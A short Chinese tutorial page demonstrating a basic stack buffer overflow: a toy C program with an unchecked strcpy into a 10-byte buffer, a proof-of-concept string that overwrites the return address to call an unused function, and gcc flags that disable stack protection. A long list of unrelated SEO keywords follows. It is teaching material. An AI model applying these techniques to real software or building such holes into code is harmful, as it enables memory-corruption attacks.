简单栈溢出利用
发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,#include#includevoid fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}v
千家信息网最后更新 2025年02月23日简单栈溢出利用
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbb"; fun(name); return 0;}
上面的程序是一个正常的C语言程序,但是main函数中没有调用hack()函数,下面我就演示下如何利用缓冲区溢出来执行hack函数的内容。
使用codeblocks编译并执行上述程序后,拖入od查看栈的变化情况,看看给变量name赋什么值的时候,会恰好覆盖掉call fun处的函数返回地址
F7跟进 F8 一句一句执行:
因此我们添加poc:
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //这里后边四个为hack()函数地址 fun(name); return 0;}
重新编译执行后,我们发现利用成功:
在使用ubuntu复现栈溢出的时候需要关闭栈保护机制:
使用gcc编译时全部关闭保护机制,参数-fno-stack-protector用来关闭gcc编译器gs验证码机制,
-z execstack用来关闭ld链接器堆栈段不可执行机制。
这里有一个linux下64位的栈溢出过程。
https://www.secpulse.com/archives/32328.html
函数
机制
编译
程序
地址
时候
保护
成功
内容
参数
变量
堆栈
情况
缓冲区
编译器
语言
语言程序
过程
链接
面的
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
辽宁网络时间服务器标准云服务器
乡镇网络安全周小结
大数据条件下传统关系数据库
网络技术对党员干部影响
ict网络技术服务
黑龙江前端软件开发
山西小型软件开发平台
永州应用软件开发
服务器缓存盘格式化
高一学生学软件开发怎么样
网络安全法中被规定的禁止行为
视频网站的数据库搭建
远程软件开发联盟
软件开发商怎么开发软件
网络安全通信协议 答案
博兴陶瓷软件开发服务
游戏服务器 rpc
使用c 管理数据库连接
互联网科技股十大龙头
福建曙光服务器维修维保哪家好
网络安全用户认证系统
心理咨询系统软件开发
系统软件开发适配器
地铁软件开发工资如何
stp协议会影响网络安全性
内江导航软件开发
建立乡村振兴战略审计数据库
服务器 防御
samba服务器配置文件
圣才教育 数据库